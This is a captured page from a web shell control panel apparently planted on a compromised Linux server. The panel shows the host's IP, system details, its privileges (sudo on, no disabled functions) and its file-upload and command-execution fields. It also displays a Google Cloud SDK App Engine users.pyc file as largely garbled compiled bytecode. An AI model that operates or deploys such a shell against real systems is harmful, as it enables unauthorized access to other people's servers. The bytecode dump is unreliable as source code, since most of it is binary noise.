403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/googlecloudsdk/appengine/api/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/googlecloudsdk/appengine/api/__pycache__/users.cpython-311.pyc
�

��h+���dZddlmZddgZddlZddlmZddlmZddlm	Z	dd	l
mZGd
�de��Z
Gd�d
e
��ZGd�de
��ZGd�de
��ZGd�de��Z		dd�ZeZdd�ZeZd�ZeZd�ZeZdS)zDThe User Python datastore class to be used as a datastore data type.�)�absolute_importz!jonmac@google.com (Jon McAlister)zryanb@google.com (Ryan Barrett)N)�
six_subset)�apiproxy_stub_map)�user_service_pb)�apiproxy_errorsc��eZdZdZdS)�ErrorzBase User error type.N��__name__�
__module__�__qualname__�__doc__���)lib/googlecloudsdk/appengine/api/users.pyr	r	$s���������rr	c��eZdZdZdS)�UserNotFoundErrorz:No email argument was specified, and no user is logged in.Nr
rrrrr(s������B�B�B�Brrc��eZdZdZdS)�RedirectTooLongErrorz(The generated redirect URL was too long.Nr
rrrrr,s������0�0�0�0rrc��eZdZdZdS)�NotAllowedErrorz*The requested redirect URL is not allowed.Nr
rrrrr0s������2�2�2�2rrc�n�eZdZdZdZdZdZ			dd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�ZdS)�Usera�Provides the email address, nickname, and ID for a user.

  A nickname is a human-readable string that uniquely identifies a Google user,
  akin to a username. For some users, this nickname is an email address, but for
  other users, a different nickname is used.

  A user is a Google Accounts user.

  `federated_identity` and `federated_provider` are decommissioned and should
  not be used.
  NTc���|�tj�d��}|sJ�|��|��tj�d|��}tj�d|��}tj�d|��}tj�d|��}|�d}|s|s	|rt�||_||_||_||_|pd|_dS)a�Constructor.

    Args:
      email: An optional string of the user's email address. It defaults to
          the current user's email address.
      federated_identity: Decommissioned, don't use.
      federated_provider: Decommissioned, don't use.

    Raises:
      UserNotFoundError: If the user is not logged in and both `email` and
          `federated_identity` are empty.
    N�AUTH_DOMAIN�
USER_EMAIL�USER_ID�FEDERATED_IDENTITY�FEDERATED_PROVIDER�)	�os�environ�getr�_User__email�_User__federated_identity�_User__federated_provider�_User__auth_domain�_User__user_id)�self�email�_auth_domain�_user_id�federated_identity�federated_provider�_strict_modes       r�__init__z
User.__init__Is���,���Z�^�^�M�2�2�l����<��}�+�3��j�n�n�\�5�1�1�e�����	�8�4�4�h��:�>�>�*>�*<�>�>���:�>�>�*>�*<�>�>��
�}��e���+����
���D�L� 2�D�� 2�D��%�D���%��D�N�N�Nrc���|jrP|jrI|j�d|jz��r't|j��dz}|jd|�S|jr|jS|jS)a+Returns the user's nickname.

    The nickname will be a unique, human readable identifier for this user with
    respect to this application. It will be an email address for some users,
    and part of the email address for some users.

    Returns:
      The nickname of the user as a string.
    �@�N)r$r'�endswith�lenr%)r)�
suffix_lens  r�nicknamez
User.nickname~s|��	
����+������c�D�$6�6�7�7���t�)�*�*�Q�.�j�
�\�,�J�;�,�
'�'�	
�	"��
�
&�&�
�\�rc��|jS)z!Returns the user's email address.)r$�r)s rr*z
User.email�s
���<�rc��|jS)z�Obtains the user ID of the user.

    Returns:
      A permanent unique identifying string or `None`. If the email address was
      set explicitly, this will return `None`.
    )r(r9s r�user_idzUser.user_id�s���>�rc��|jS)z�Obtains the user's authentication domain.

    Returns:
      A string containing the authentication domain. This method is internal and
      should not be used by client applications.
    )r'r9s r�auth_domainzUser.auth_domain�s
����rc��|jS)z�Decommissioned, don't use.

    Returns:
      A string containing the federated identity of the user. If the user is not
      a federated user, `None` is returned.
    )r%r9s rr-zUser.federated_identity��
���$�$rc��|jS)z�Decommissioned, don't use.

    Returns:
      A string containing the federated provider. If the user is not a federated
      user, `None` is returned.
    )r&r9s rr.zUser.federated_provider�r?rc�N�tj|�����S�N)r�	text_typer7r9s r�__unicode__zUser.__unicode__�s�����
�
���0�0�0rc�D�t|�����SrB)�strr7r9s r�__str__zUser.__str__�s���t�}�}�����rc��g}|jr|�d|jz��|jr|�d|jz��|jr|�d|jz��dd�|��zS)Nz
email='%s'zfederated_identity='%s'z
_user_id='%s'zusers.User(%s)�,)r$�appendr%r(�join)r)�valuess  r�__repr__z
User.__repr__�s���
�F��|�1��m�m�L�4�<�/�0�0�0�� �K��m�m�-��0I�I�J�J�J��~�6��m�m�O�d�n�4�5�5�5��c�h�h�v�.�.�.�.rc�|�|jrt|j|jf��St|j|jf��SrB)r%�hashr'r$r9s r�__hash__z
User.__hash__�s>��� �6�
�4�,�d�.@�A�
B�
B�B�
�4�<��!3�4�
5�
5�5rc���t|t��stS|jr(t	|j|jf|j|jf��St	|j|jf|j|jf��SrB)�
isinstancer�NotImplementedr%�cmpr'r$)r)�others  r�__cmp__zUser.__cmp__�s����e�T�"�"��
��� �7�
�$�+�T�-?�@��,�e�.A�B�D�D�D��$�,�� 2�3��-��!4�5�7�7�7r)NNNNNT)rrr
rr(r%r&r0r7r*r;r=r-r.rDrGrMrPrVrrrrr4s�������
�
� �)�����.2�JN� �2&�2&�2&�2&�j���&���������%�%�%�%�%�%�1�1�1� � � �/�/�/�6�6�6�7�7�7�7�7rrc��tj��}tj��}|r|�|��n|�d��|r|�|��|rtd���	t
jdd||��n[#tj	$rI}|j
tjjkrt�|j
tjjkrt
�|�d}~wwxYw|���S)aComputes the login URL for redirection.

  Args:
    dest_url: String that is the desired final destination URL for the user
        once login is complete. If `dest_url` does not specify a host, the host
        from the current request is used.
    federated_identity: Decommissioned, don't use. Setting this to a non-None
        value raises a NotAllowedError

  Returns:
       Login URL as a string. The login URL will use Google Accounts.

  Raises:
      NotAllowedError: If federated_identity is not None.
  r z#OpenID 2.0 support is decomissioned�user�CreateLoginURLN)r�CreateLoginURLRequest�CreateLoginURLResponse�set_destination_url�set_auth_domainrr�MakeSyncCallr�ApplicationError�application_error�UserServiceError�REDIRECT_URL_TOO_LONGr�NOT_ALLOWED�	login_url)�dest_urlr+r-�req�resp�es      r�create_login_urlri�s��"	�-�/�/�#�	�	/�	1�	1�$�
� ����H�%�%�%�%����B�����&�����%�%�%��A�
�?�
@�
@�@�
��"�6�+;�S�$�G�G�G�G��	�	)����	���(�>�	?�	?� � �
�
�
�
*�
6�7�7���
�g���������
���	�	�s�=B�C-�$AC(�(C-c�t�tj��}tj��}|�|��|r|�|��	tjdd||��n:#tj$r(}|j	tj
jkrt�|�d}~wwxYw|�
��S)a�Computes the logout URL and specified destination URL for the request.

  This function works for Google Accounts applications.

  Args:
    dest_url: String that is the desired final destination URL for the user
        after the user has logged out. If `dest_url` does not specify a host,
        the host from the current request is used.

  Returns:
    Logout URL as a string.
  rX�CreateLogoutURLN)r�CreateLogoutURLRequest�CreateLogoutURLResponser\r]rr^rr_r`rarbr�
logout_url)rer+rfrgrhs     r�create_logout_urlro
s���	�.�0�0�#�	�	0�	2�	2�$����(�#�#�#��&�����%�%�%���"�6�+<�c�4�H�H�H�H��	�	)����	���(�>�	?�	?� � �
�g���������
���	�	�s�A,�,B#�;#B�B#c�B�	t��S#t$rYdSwxYw)zXRetrieves information associated with the user that is making a request.

  Returns:

  N)rrrrr�get_current_userrq+s2����6�6�M��	�����4�4����s�
�
�c�J�tj�dd��dkS)a�Specifies whether the user making a request is an application admin.

  Because administrator status is not persisted in the datastore,
  `is_current_user_admin()` is a separate function rather than a member function
  of the `User` class. The status only exists for the user making the current
  request.

  Returns:
    `True` if the user is an administrator; all other user types return `False`.
  �
USER_IS_ADMIN�0�1)r!r"r#rrr�is_current_user_adminrv:s��
�*�.�.��#�
.�
.�3�	6�6r)NNNrB)r�
__future__r�
__author__r!�"googlecloudsdk.appengine._internalr�googlecloudsdk.appengine.apirr� googlecloudsdk.appengine.runtimer�	Exceptionr	rrr�objectrrirYrorkrq�GetCurrentUserrv�IsCurrentUserAdminrrr�<module>r�s���K�J�'�&�&�&�&�&�1�/�1�
�

�	�	�	�9�9�9�9�9�9�:�:�:�:�:�:�8�8�8�8�8�8�<�<�<�<�<�<������I����C�C�C�C�C��C�C�C�1�1�1�1�1�5�1�1�1�3�3�3�3�3�e�3�3�3�c7�c7�c7�c7�c7�6�c7�c7�c7�L26�(,�'�'�'�'�T"������<$��	�	�	�"��7�7�7�+���r

Youez - 2016 - github.com/yon3zu
LinuXploit